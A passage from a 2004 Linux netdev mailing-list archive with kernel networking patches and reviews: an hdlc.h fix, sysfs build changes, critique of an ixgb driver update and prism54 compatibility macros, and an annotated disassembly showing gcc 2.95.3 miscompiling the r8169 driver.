+0x00,0x08,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x80,0x00,0x00, +0x01,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x12,0x00,0x00, +0x00,0x13,0x00,0x00,0x00,0x2C,0x00,0x00,0x3E,0x00,0x00,0x2C,0x00,0x00,0x3E,0x00, +0x00,0x00,0x00,0x00,0x00,0x2D,0x00,0x00,0x3F,0x00,0x00,0x2D,0x00,0x00,0x3F,0x00, +0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0xFF,0x00,0x00,0xFF,0x00,0x00,0xFF,0x00, +0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x80,0x00,0x00,0x02,0x00,0x00,0x00,0x08,0x00, +0x77,0x61,0x6E,0x58,0x4C,0x20,0x66,0x69,0x72,0x6D,0x77,0x61,0x72,0x65,0x0A,0x43, +0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0x28,0x43,0x29,0x20,0x32,0x30,0x30, +0x33,0x20,0x4B,0x72,0x7A,0x79,0x73,0x7A,0x74,0x6F,0x66,0x20,0x48,0x61,0x6C,0x61, +0x73,0x61,0x20,0x3C,0x6B,0x68,0x63,0x40,0x70,0x6D,0x2E,0x77,0x61,0x77,0x2E,0x70, +0x6C,0x3E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +}; --- linux-2.6/include/linux/hdlc.h 18 Feb 2004 06:06:52 -0000 +++ linux-2.6/include/linux/hdlc.h 28 May 2004 12:53:18 -0000 @@ -134,7 +134,7 @@ int dce_pvc_count; struct timer_list timer; - int last_poll; + unsigned long last_poll; int reliable; int dce_changed; int request; @@ -149,8 +149,9 @@ cisco_proto settings; struct timer_list timer; - int last_poll; + unsigned long last_poll; int up; + int request_sent; u32 txseq; /* TX sequence number */ u32 rxseq; /* RX sequence number */ }cisco; --=-=-=-- From jt@bougret.hpl.hp.com Fri May 28 10:14:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 10:15:01 -0700 (PDT) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SHElgi025476 for ; Fri, 28 May 2004 10:14:47 -0700 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id AD831ECE7; Fri, 28 May 2004 09:41:09 -0700 (PDT) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id JAA10112; Fri, 28 May 2004 09:41:55 -0700 (PDT) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1BTkPt-00020M-00; Fri, 28 May 2004 09:41:09 -0700 Date: Fri, 28 May 2004 09:41:08 -0700 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH]: Fix NULL-ptr dereference in irlmp_get_saddr() Message-ID: <20040528164108.GA7696@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <40B71AF2.2020503@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40B71AF2.2020503@trash.net> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 5433 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Fri, May 28, 2004 at 12:56:50PM +0200, Patrick McHardy wrote: > This patch fixes a NULL-ptr dereference in irlmp_get_saddr. > > Regards > Patrick Wow ! This one is scary ! Thanks Jean From shemminger@osdl.org Fri May 28 11:03:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 11:03:49 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SI3jgi026926 for ; Fri, 28 May 2004 11:03:45 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4SI3Wr23845; Fri, 28 May 2004 11:03:32 -0700 Date: Fri, 28 May 2004 11:03:32 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] simplify netdev_sysfs_xxx if SYSFS is not configured Message-Id: <20040528110332.2206b9ac@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5434 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Don't need all the network sysfs code if CONFIG_SYSFS is not enabled. Also: * netdev_sysfs_unregister is declaration mismatch * if netdev_sysfs_register fails print a warning. Need to still mark it as registered so the unregister_netdevice works, but we will probably end up leaking memory in that case. diff -Nru a/net/core/Makefile b/net/core/Makefile --- a/net/core/Makefile 2004-05-28 10:09:11 -07:00 +++ b/net/core/Makefile 2004-05-28 10:09:11 -07:00 @@ -6,9 +6,10 @@ obj-$(CONFIG_SYSCTL) += sysctl_net_core.o -obj-y += flow.o dev.o ethtool.o net-sysfs.o dev_mcast.o dst.o \ +obj-y += flow.o dev.o ethtool.o dev_mcast.o dst.o \ neighbour.o rtnetlink.o utils.o link_watch.o filter.o +obj-$(CONFIG_SYSFS) += net-sysfs.o obj-$(CONFIG_NETFILTER) += netfilter.o obj-$(CONFIG_NET_DIVERT) += dv.o obj-$(CONFIG_NET_PKTGEN) += pktgen.o diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c 2004-05-28 10:09:11 -07:00 +++ b/net/core/dev.c 2004-05-28 10:09:11 -07:00 @@ -220,9 +220,15 @@ int netdev_fastroute_obstacles; #endif +#ifdef CONFIG_SYSFS extern int netdev_sysfs_init(void); extern int netdev_register_sysfs(struct net_device *); -extern int netdev_unregister_sysfs(struct net_device *); +extern void netdev_unregister_sysfs(struct net_device *); +#else +#define netdev_sysfs_init() (0) +#define netdev_register_sysfs(dev) (0) +#define netdev_unregister_sysfs(dev) do { } while(0) +#endif /******************************************************************************* @@ -2971,6 +2977,7 @@ void netdev_run_todo(void) { struct list_head list = LIST_HEAD_INIT(list); + int err; /* Safe outside mutex since we only care about entries that * this cpu put into queue while under RTNL. @@ -2993,7 +3000,10 @@ switch(dev->reg_state) { case NETREG_REGISTERING: - netdev_register_sysfs(dev); + err = netdev_register_sysfs(dev); + if (err) + printk(KERN_ERR "%s: failed sysfs registration (%d)\n", + dev->name, err); dev->reg_state = NETREG_REGISTERED; break; @@ -3037,6 +3047,7 @@ */ void free_netdev(struct net_device *dev) { +#ifdef CONFIG_SYSFS /* Compatiablity with error handling in drivers */ if (dev->reg_state == NETREG_UNINITIALIZED) { kfree((char *)dev - dev->padded); @@ -3048,6 +3059,9 @@ /* will free via class release */ class_device_put(&dev->class_dev); +#else + kfree((char *)dev - dev->padded); +#endif } /* Synchronize with packet receive processing. */ From romieu@fr.zoreil.com Fri May 28 12:49:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 12:49:37 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SJnTgi000523 for ; Fri, 28 May 2004 12:49:30 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4SJmBuX009058; Fri, 28 May 2004 21:48:11 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4SJmBLT009057; Fri, 28 May 2004 21:48:11 +0200 Date: Fri, 28 May 2004 21:48:11 +0200 From: Francois Romieu To: Ayyappan.Veeraiyan@intel.com Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [netdrvr ixgb] massive update Message-ID: <20040528214811.A8239@electric-eye.fr.zoreil.com> References: <200405280814.i4S8EHcu027730@hera.kernel.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200405280814.i4S8EHcu027730@hera.kernel.org>; from linux-kernel@vger.kernel.org on Thu, May 27, 2004 at 08:22:20PM +0000 X-Organisation: Land of Sunshine Inc. X-archive-position: 5435 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Linux Kernel Mailing List : > diff -Nru a/drivers/net/ixgb/ixgb.h b/drivers/net/ixgb/ixgb.h > --- a/drivers/net/ixgb/ixgb.h 2004-05-28 01:14:26 -07:00 > +++ b/drivers/net/ixgb/ixgb.h 2004-05-28 01:14:26 -07:00 [...] > @@ -33,9 +34,9 @@ > #define IXGB_ETH_LENGTH_OF_ADDRESS 6 > > /* EEPROM Commands */ > -#define EEPROM_READ_OPCODE 0x6 /* EERPOM read opcode */ > -#define EEPROM_WRITE_OPCODE 0x5 /* EERPOM write opcode */ > -#define EEPROM_ERASE_OPCODE 0x7 /* EERPOM erase opcode */ > +#define EEPROM_READ_OPCODE 0x6 /* EERPOM read opcode */ > +#define EEPROM_WRITE_OPCODE 0x5 /* EERPOM write opcode */ > +#define EEPROM_ERASE_OPCODE 0x7 /* EERPOM erase opcode */ > #define EEPROM_EWEN_OPCODE 0x13 /* EERPOM erase/write enable */ > #define EEPROM_EWDS_OPCODE 0x10 /* EERPOM erast/write disable */ ^^^^^^ Oops. :o) [...] > diff -Nru a/drivers/net/ixgb/ixgb_ethtool.c b/drivers/net/ixgb/ixgb_ethtool.c > --- a/drivers/net/ixgb/ixgb_ethtool.c 2004-05-28 01:14:26 -07:00 > +++ b/drivers/net/ixgb/ixgb_ethtool.c 2004-05-28 01:14:26 -07:00 [...] > @@ -405,114 +453,121 @@ [...] > -#if defined(ETHTOOL_GREGS) && defined(ETHTOOL_GEEPROM) > + case ETHTOOL_GSTRINGS:{ > + struct ethtool_gstrings gstrings = { ETHTOOL_GSTRINGS }; > + char *strings = NULL; > + int err = 0; Indentation is wrong. > + > + if (copy_from_user(&gstrings, addr, sizeof(gstrings))) > + return -EFAULT; > + switch (gstrings.string_set) { > + case ETH_SS_STATS:{ > + int i; > + gstrings.len = IXGB_STATS_LEN; > + strings = > + kmalloc(IXGB_STATS_LEN * > + ETH_GSTRING_LEN, > + GFP_KERNEL); > + if (!strings) > + return -ENOMEM; > + for (i = 0; i < IXGB_STATS_LEN; i++) { > + memcpy(&strings > + [i * ETH_GSTRING_LEN], > + ixgb_gstrings_stats[i]. > + stat_string, > + ETH_GSTRING_LEN); An helper function could improve a few things. Simply getting the indentation right would be enough. [...] > @@ -533,13 +588,133 @@ > case ETHTOOL_SEEPROM:{ > struct ethtool_eeprom eeprom; > > - IXGB_DBG("ETHTOOL_SEEPROM\n"); > - if (copy_from_user(&eeprom, addr, sizeof (eeprom))) > + if (copy_from_user(&eeprom, addr, sizeof(eeprom))) > return -EFAULT; > > addr += offsetof(struct ethtool_eeprom, data); > return ixgb_ethtool_seeprom(adapter, &eeprom, addr); > } > + case ETHTOOL_GPAUSEPARAM:{ > + struct ethtool_pauseparam epause = > + { ETHTOOL_GPAUSEPARAM }; > + ixgb_ethtool_gpause(adapter, &epause); > + if (copy_to_user(addr, &epause, sizeof(epause))) > + return -EFAULT; > + return 0; > + } > + case ETHTOOL_SPAUSEPARAM:{ > + struct ethtool_pauseparam epause; > + if (copy_from_user(&epause, addr, sizeof(epause))) > + return -EFAULT; > + return ixgb_ethtool_spause(adapter, &epause); > + } > + case ETHTOOL_GSTATS:{ > + struct { > + struct ethtool_stats eth_stats; > + uint64_t data[IXGB_STATS_LEN]; > + } stats = { { > + ETHTOOL_GSTATS, IXGB_STATS_LEN}}; > + int i; > + > + for (i = 0; i < IXGB_STATS_LEN; i++) > + stats.data[i] = > + (ixgb_gstrings_stats[i].sizeof_stat == > + sizeof(uint64_t)) ? *(uint64_t *) ((char *) > + adapter > + + > + ixgb_gstrings_stats > + [i]. > + stat_offset) > + : *(uint32_t *) ((char *)adapter + > + ixgb_gstrings_stats[i]. > + stat_offset); Either someone spent too much time in the kernel CIFS code or this code has never been reviewed. [...] > diff -Nru a/drivers/net/ixgb/ixgb_hw.c b/drivers/net/ixgb/ixgb_hw.c > --- a/drivers/net/ixgb/ixgb_hw.c 2004-05-28 01:14:26 -07:00 > +++ b/drivers/net/ixgb/ixgb_hw.c 2004-05-28 01:14:26 -07:00 [...] > @@ -134,27 +136,111 @@ > } > > /****************************************************************************** > + * Identifies the vendor of the optics module on the adapter. The SR adapters > + * support two different types of XPAK optics, so it is necessary to determine > + * which optics are present before applying any optics-specific workarounds. > + * > + * hw - Struct containing variables accessed by shared code. > + * > + * Returns: the vendor of the XPAK optics module. > + *****************************************************************************/ > +static ixgb_xpak_vendor ixgb_identify_xpak_vendor(struct ixgb_hw *hw) > +{ > + uint32_t i; > + uint16_t vendor_name[5]; > + ixgb_xpak_vendor xpak_vendor; > + > + DEBUGFUNC("ixgb_identify_xpak_vendor"); > + > + /* Read the first few bytes of the vendor string from the XPAK NVR > + * registers. These are standard XENPAK/XPAK registers, so all XPAK > + * devices should implement them. */ > + for (i = 0; i < 5; i++) { > + vendor_name[i] = ixgb_read_phy_reg(hw, > + MDIO_PMA_PMD_XPAK_VENDOR_NAME > + + i, IXGB_PHY_ADDRESS, > + MDIO_PMA_PMD_DID); :o/ [...] > diff -Nru a/drivers/net/ixgb/ixgb_main.c b/drivers/net/ixgb/ixgb_main.c > --- a/drivers/net/ixgb/ixgb_main.c 2004-05-28 01:14:26 -07:00 > +++ b/drivers/net/ixgb/ixgb_main.c 2004-05-28 01:14:26 -07:00 [...] > @@ -300,35 +284,29 @@ > int mmio_len; > int pci_using_dac; > int i; > + int err; > > - IXGB_DBG("ixgb_probe\n"); > + if ((err = pci_enable_device(pdev))) > + return err; > > - if ((i = pci_enable_device(pdev))) { > - IXGB_ERR("pci_enable_device failed\n"); > - return i; > - } > - > - if (!(i = pci_set_dma_mask(pdev, DMA_64BIT_MASK))) { > + if (!(err = pci_set_dma_mask(pdev, DMA_64BIT_MASK))) { > pci_using_dac = 1; > } else { > - if ((i = pci_set_dma_mask(pdev, DMA_32BIT_MASK))) { > + if ((err = pci_set_dma_mask(pdev, DMA_32BIT_MASK))) { > IXGB_ERR("No usable DMA configuration, aborting\n"); > - return i; > + return err; The previos block hould pci_disable_device() before returning. "gotos" are used below. There is no reason to mix styles. > } > pci_using_dac = 0; > } > > - if ((i = pci_request_regions(pdev, ixgb_driver_name))) { > - IXGB_ERR("Failed to reserve PCI I/O and Memory resources.\n"); > - return i; > - } > + if ((err = pci_request_regions(pdev, ixgb_driver_name))) > + return err; Same thing. > > pci_set_master(pdev); > > - /* alloc_etherdev clears the memory for us */ > - netdev = alloc_etherdev(sizeof (struct ixgb_adapter)); > + netdev = alloc_etherdev(sizeof(struct ixgb_adapter)); > if (!netdev) { > - IXGB_ERR("Unable to allocate net_device struct\n"); > + err = -ENOMEM; > goto err_alloc_etherdev; ^^^^^^^^^^^^^^^^^^ The label should say what the unroll code is supposed to do, not where it comes from: please name it something like "err_release_regions". This way, when one reads the previous lines, the branching label _seems_ to make sense and when one actually read the real unroll code (at a completely different time), it is easy to check that the error exit code really does what it is supposed to. [...] > @@ -370,25 +348,28 @@ > netdev->tx_timeout = &ixgb_tx_timeout; > netdev->watchdog_timeo = HZ; > #ifdef CONFIG_IXGB_NAPI > - netdev->poll = &ixgb_poll; > + netdev->poll = &ixgb_clean; > netdev->weight = 64; ... [...] > @@ -403,57 +384,59 @@ > /* make sure the EEPROM is good */ > > if (!ixgb_validate_eeprom_checksum(&adapter->hw)) { > - IXGB_DBG("Invalid EEPROM checksum.\n"); > + printk(KERN_ERR "The EEPROM Checksum Is Not Valid\n"); > err = -EIO; What about : err = ixgb_validate_eeprom_checksum(..." if (err < 0) { yada, yada... > goto err_eeprom; > } > > ixgb_get_ee_mac_addr(&adapter->hw, netdev->dev_addr); > > if (!is_valid_ether_addr(netdev->dev_addr)) { > - IXGB_DBG("Invalid MAC address in EEPROM.\n"); > + err = -EIO; > goto err_eeprom; > } Same remark. > > - adapter->max_data_per_txd = IXGB_MAX_JUMBO_FRAME_SIZE; > adapter->part_num = ixgb_get_ee_pba_number(&adapter->hw); > > init_timer(&adapter->watchdog_timer); > adapter->watchdog_timer.function = &ixgb_watchdog; > - adapter->watchdog_timer.data = (unsigned long) adapter; > + adapter->watchdog_timer.data = (unsigned long)adapter; > > INIT_WORK(&adapter->tx_timeout_task, > - (void (*)(void *)) ixgb_tx_timeout_task, netdev); > + (void (*)(void *))ixgb_tx_timeout_task, netdev); > > - register_netdev(netdev); > - memcpy(adapter->ifname, netdev->name, IFNAMSIZ); > - adapter->ifname[IFNAMSIZ - 1] = 0; > + if ((err = register_netdev(netdev))) > + goto err_register; The following has already been suggested in a not too far past: err = ... if (err < 0) { > > /* we're going to reset, so assume we have no link for now */ > > netif_carrier_off(netdev); > netif_stop_queue(netdev); > > - printk(KERN_INFO "%s: %s\n", netdev->name, adapter->id_string); > + printk(KERN_INFO "%s: Intel(R) PRO/10GbE Network Connection\n", > + netdev->name); > ixgb_check_options(adapter); > - > /* reset the hardware with the new settings */ > + > ixgb_reset(adapter); > > cards_found++; > return 0; > > + err_register: > + err_sw_init: > err_eeprom: What's the point of the three different labels ? > iounmap(adapter->hw.hw_addr); > err_ioremap: > - pci_release_regions(pdev); > free_netdev(netdev); > err_alloc_etherdev: Please put the label at the start of the line or anything of your choice as long as it is easier to identify. > - return -ENOMEM; > + pci_release_regions(pdev); > + return err; Missing pci_disable_device(). [...] > @@ -461,49 +444,36 @@ > * memory. > **/ > > -static void __devexit > -ixgb_remove(struct pci_dev *pdev) > +static void __devexit ixgb_remove(struct pci_dev *pdev) > { > struct net_device *netdev = pci_get_drvdata(pdev); > struct ixgb_adapter *adapter = netdev->priv; > > - IXGB_DBG("ixgb_remove\n"); > - > unregister_netdev(netdev); > > -#ifdef ETHTOOL_IDENTIFY > - ixgb_identify_stop(adapter); > -#endif > - > - iounmap((void *) adapter->hw.hw_addr); > + iounmap(adapter->hw.hw_addr); > pci_release_regions(pdev); Missing pci_disable_device()... Please Cc: the next patch(es) to netdev@oss.sgi.com for review. Giant patches like this are a pain to review. Thanks. -- Ueimor From mcgrof@studorgs.rutgers.edu Fri May 28 15:15:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 15:15:24 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SMFLgi008201 for ; Fri, 28 May 2004 15:15:21 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id A3FB7F9D4B; Fri, 28 May 2004 18:15:20 -0400 (EDT) Date: Fri, 28 May 2004 18:15:20 -0400 To: Arjan van de Ven Cc: "Luis R. Rodriguez" , Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [Prism54-devel] Re: [PATCH 5/14 linux-2.6.7-rc1] prism54: new prism54 kernel compatibility Message-ID: <20040528221520.GF3330@ruslug.rutgers.edu> Mail-Followup-To: Arjan van de Ven , "Luis R. Rodriguez" , Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org References: <20040524083220.GF3330@ruslug.rutgers.edu> <1085388830.2780.9.camel@laptop.fenrus.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="p5RmKVcV08d4tiXP" Content-Disposition: inline In-Reply-To: <1085388830.2780.9.camel@laptop.fenrus.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5436 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --p5RmKVcV08d4tiXP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 24, 2004 at 10:53:50AM +0200, Arjan van de Ven wrote: > On Mon, 2004-05-24 at 10:32, Luis R. Rodriguez wrote: > > 2004-03-20 Margit Schubert-While > >=20 > > * isl_38xx.[ch], isl_ioctl.c, islpci_dev.[ch], islpci_eth.c > > islpci_hotplug.c, islpci_mgt.[ch], oid_mgt.c: Adopt new > > prism54 kernel compatibility. > >=20 > > * prismcompat.h, prismcompat24.h: New compatibility work >=20 >=20 > ewwww this makes the driver quite a bit less readable! >=20 > for example >=20 > -#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,0) > - /* This is 2.6 specific, nicer, shorter, but not in 2.4 yet */ > - DEFINE_WAIT(wait); > - prepare_to_wait(&priv->reset_done, &wait, TASK_UNINTERRUPTIBLE); > -#else > - DECLARE_WAITQUEUE(wait, current); > - set_current_state(TASK_UNINTERRUPTIBLE); > - add_wait_queue(&priv->reset_done, &wait); > -#endif > + PRISM_DEFWAITQ(priv->reset_done, wait) >=20 > why not just make a DEFINE_WAIT() and prepare_to_wait() macro for 2.4 > instead ?? so that you can just have the 2.6 version in the code and do > 2.4 compat in a clean header, as opposed to fouling up the entire driver > with it. Thanks for the comment Arjan. This will be fixed. Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --p5RmKVcV08d4tiXP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAt7n4at1JN+IKUl4RAoGcAJ47A9DbjPkHr6HR5mMMdWQSc/c5rACfecmL s3R3MYt2YjatTpMO0ohz6qE= =vb5B -----END PGP SIGNATURE----- --p5RmKVcV08d4tiXP-- From romieu@fr.zoreil.com Fri May 28 16:09:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 16:09:30 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4SN9Pgi012820 for ; Fri, 28 May 2004 16:09:25 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4SN7quX011846; Sat, 29 May 2004 01:07:52 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4SN7qkH011845; Sat, 29 May 2004 01:07:52 +0200 Date: Sat, 29 May 2004 01:07:51 +0200 From: Francois Romieu To: Ray Cole Cc: netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-ID: <20040529010751.A8207@electric-eye.fr.zoreil.com> References: <20040525230831.4747005f.ray_cole@earthlink.net> <20040525231140.1325daa7.ray_cole@earthlink.net> <20040526055841.GH3330@ruslug.rutgers.edu> <20040526133645.B32639@electric-eye.fr.zoreil.com> <20040526070014.17ee9486.ray_cole@earthlink.net> <20040526161508.A3368@electric-eye.fr.zoreil.com> <20040526191528.54f4af59.ray_cole@earthlink.net> <20040526205324.0913df99.ray_cole@earthlink.net> <20040526221742.393e626d.ray_cole@earthlink.net> <20040526230632.26c4e2e5.ray_cole@earthlink.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040526230632.26c4e2e5.ray_cole@earthlink.net>; from ray_cole@earthlink.net on Wed, May 26, 2004 at 11:06:32PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 5437 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Ray Cole : > It looks like it is most definately a gcc 2.95.3 issue. I turned off > optimization (appended -O0 to the compiler command line) and the 'bad' way > gives the proper result. -O1, on the other hand, gives an incorrect result. I have checked the modules you sent me and the generated code is wrong (relevant code below). You should upgrade your venerable 2.95.3 compiler. [...] 00001750 : 1750: 83 ec 08 sub $0x8,%esp 1753: 55 push %ebp 1754: 57 push %edi 1755: 56 push %esi 1756: 53 push %ebx 1757: 8b 4c 24 1c mov 0x1c(%esp,1),%ecx -> %ecx = skb (will not change) 175b: 8b 7c 24 20 mov 0x20(%esp,1),%edi 175f: 8b 44 24 20 mov 0x20(%esp,1),%eax 1763: 8b 54 24 20 mov 0x20(%esp,1),%edx -> %edx = %eax = %edi = dev 1767: 81 c7 20 02 00 00 add $0x220,%edi -> %edi = tp 176d: 8b 80 20 02 00 00 mov 0x220(%eax),%eax -> %eax = ioaddr 1773: 89 44 24 14 mov %eax,0x14(%esp,1) 1777: 8b aa 98 02 00 00 mov 0x298(%edx),%ebp -> %ebp = tp->cur_tx 177d: 8b 59 64 mov 0x64(%ecx),%ebx -> %ebx = skb->len 1780: 83 e5 3f and $0x3f,%ebp -> %ebp = entry = tp->cur_tx % NUM_TX_DESC 1783: 83 fb 3b cmp $0x3b,%ebx -> ETH_ZLEN test 1786: 77 29 ja 17b1 [...] 17b1: fa cli 17b2: b8 00 e0 ff ff mov $0xffffe000,%eax 17b7: 21 e0 and %esp,%eax 17b9: ff 40 14 incl 0x14(%eax) 17bc: 8b 87 84 00 00 00 mov 0x84(%edi),%eax -> %eax = tp->TxDesc 17c2: 89 ee mov %ebp,%esi 17c4: c1 e6 04 shl $0x4,%esi -> %esi = entry * sizeof(TxDesc) 17c7: 8b 04 30 mov (%eax,%esi,1),%eax 17ca: 25 00 00 00 80 and $0x80000000,%eax -> %eax = tp->TxDesc[entry].status & OWNbit 17cf: 89 44 24 10 mov %eax,0x10(%esp,1) 17d3: 0f 85 a7 00 00 00 jne 1880 -> Let's assume host cpu owns the descriptor and move on 17d9: 8b 91 90 00 00 00 mov 0x90(%ecx),%edx 17df: 8d 87 94 04 00 00 lea 0x494(%edi),%eax 17e5: 89 0c a8 mov %ecx,(%eax,%ebp,4) -> tp->Tx_skbuff[entry] = skb; 17e8: 8b 87 84 00 00 00 mov 0x84(%edi),%eax -> %eax = tp->TxDesc 17ee: 81 c2 00 00 00 40 add $0x40000000,%edx 17f4: 89 54 30 08 mov %edx,0x8(%eax,%esi,1) 17f8: c7 44 30 0c 00 00 00 movl $0x0,0xc(%eax,%esi,1) 17ff: 00 -> tp->TxDescArray[entry].addr = cpu_to_le64(mapping); 1800: 8b 97 84 00 00 00 mov 0x84(%edi),%edx -> %edx = tp->TxDesc 1806: 89 d8 mov %ebx,%eax 1808: 0d 00 00 00 f0 or $0xf0000000,%eax -> %eax = OWNbit | FSbit | LSbit | EORbit | skb->len 180d: 81 cb 00 00 00 b0 or $0xb0000000,%ebx -> %ebx = OWNbit | FSbit | LSbit | skb->len 1813: 83 fd ff cmp $0xffffffff,%ebp -> ??? Bogus test against %ebp (= entry). It will produce the expected result until the end of ring is reached. Then it will forgot to set the end of ring flag in the descriptor and the story ends. 1816: 0f 45 c3 cmovne %ebx,%eax 1819: 89 04 32 mov %eax,(%edx,%esi,1) -> tp->TxDesc[entry].status = ... 181c: 8b 44 24 14 mov 0x14(%esp,1),%eax 1820: c6 40 38 40 movb $0x40,0x38(%eax) 1824: a1 00 00 00 00 mov 0x0,%eax 1829: 8b 54 24 20 mov 0x20(%esp,1),%edx 182d: 89 42 4c mov %eax,0x4c(%edx) 1830: 8b 47 78 mov 0x78(%edi),%eax 1833: 8d 50 01 lea 0x1(%eax),%edx 1836: 89 57 78 mov %edx,0x78(%edi) 1839: 83 c0 c1 add $0xffffffc1,%eax 183c: 3b 87 80 00 00 00 cmp 0x80(%edi),%eax 1842: 75 1c jne 1860 1844: 68 67 07 00 00 push $0x767 1849: e8 fc ff ff ff call 